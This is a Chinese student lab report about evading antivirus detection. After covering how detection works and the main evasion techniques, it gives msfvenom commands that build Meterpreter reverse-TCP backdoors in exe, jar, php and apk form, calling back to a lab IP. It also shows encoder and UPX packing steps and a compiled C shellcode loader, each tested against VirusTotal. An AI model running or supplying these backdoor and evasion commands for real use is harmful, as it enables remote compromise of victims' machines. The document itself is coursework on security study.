一、实验原理
(一)杀软原理
1、引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
2、启发式Heuristic,通过程序的一些行为和特征来判断。
3、在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。
(二)免杀原理
使病毒木马免于被杀毒软件查杀
1、改变特征码
(1)有EXE:加压缩壳、加密壳
(2)有shellcode(如:Meterpreter):用encode进行编码,基于payload重新编译生成可执行文件
(3)有源代码:用其他语言进行重写再编译(veil-evasion)
2、改变行为
(1)通讯方式
- 使用反弹式连接
- 使用隧道技术,隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。
- 加密通讯数据
(2)操作模式
- 基于内存操作,像基于特征码的查杀大部分是扫描硬盘上的文件,所以可以考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,一般可以采用加入nop指令来躲过查杀。
- 减少对系统的修改
- 加入混淆作用的正常功能代码
二、基础问题回答
(一)杀软是如何检测出恶意代码的?
1、基于特征来检测:恶意代码中一般会有特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
2、基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(二)免杀是做什么的?
通过各种手段让恶意代码躲避杀毒软件查杀。
(三)免杀的基本方法有哪些?
1、改变特征码:
- 加壳
- 用shellcode生成可执行文件
- 用其他语言重写再编译源代码
2、改变行为:
- 使用反弹式连接
- 使用隧道技术
- 加入混淆作用的正常功能代码
三、实践过程
(一)使用msf编码器生成后门程序及检测
1、生成exe文件,并用VirusTotal进行扫描
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.137 lport=5328 -f exe > 5328_backdoor.exe
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ lhost=192.168.1.137 lport=5328 -f exe > met-encoded10.exe
指令进行多次编码,再次用VirusTotal进行扫描
2、生成jar文件,并用VirusTotal进行扫描
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.137 lport=5328 x> 5328_backdoor_java.jar
3、生成php文件,并用VirusTotal进行扫描
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.137 lport=5328 x> 5328_backdoor.php
4、生成apk文件,并用VirusTotal进行扫描
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.137 lport=5328 R> 5328_backdoor.apk
(二)使用veil-evasion生成后门程序及检测
安装veil-evasion的时候照着Veil-Evasion下载、安装、使用教程上的步骤安装还算比较顺利,就是真的好慢,装了n个小时。
1、启动evail-evasion
图启动
2、设置好回连的IP地址和端口号后,生成后门文件
图
3、用VirusTotal进行扫描
图Veil扫描
(三)使用加壳工具生成后门程序并检测
1、对(一)1中的5328_backdoor.exe进行加壳(额,显示文件太小)
upx 5328_backdoor.exe -o 5328_backdoor_upx.exe
2、对(一)1中的met-encoded10.exe进行加壳(加壳成功)
upx met-encoded10.exe -o met-encoded10_upx.exe
3、用VirusTotal进行扫描(发现加壳之后被查出的概率增加了【捂脸】)
(四)使用shellcode生成后门程序并检测
1、在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=5328 -f c
生成一个c语言格式的Shellcode数组
2、创建一个C文件:shellcode_5328.c
,将上面生成的数组copy到该文件下,并加入一个主函数
3、使用i686-w64-mingw32-g++ shellcode_5328.c -o shellcode_5328_backdoor.exe
命令将该C语言代码shellcode_5328.c
转换为一个可在64位windows系统下操作的可执行文件shellcode_5328_backdoor.exe
4、用VirusTotal进行扫描
5、将可执行文件放到主机上检测(可以发现这个文件刚放到主机上,就立即被查杀了)
四、思考
开启杀软能绝对防止电脑中恶意代码吗?
不能。只能说防止一些常见的或者特征库里能对应的恶意代码。对于比较新的、伪装比较好的恶意代码,杀软就有可能检测不出来。
五、实践总结与体会
之前一直觉得杀软挺安全的,做完实验之后感觉并没有!及时更新自己的杀毒软件,保持最新病毒库是很重要的。
六、参考资料
免杀原理与实践
杀毒软件工作原理 及 现在主要杀毒技术
Veil-Evasion下载、安装、使用教程
kali安装veil和apt基本命令
来源:https://www.cnblogs.com/seven-moon/p/12630359.html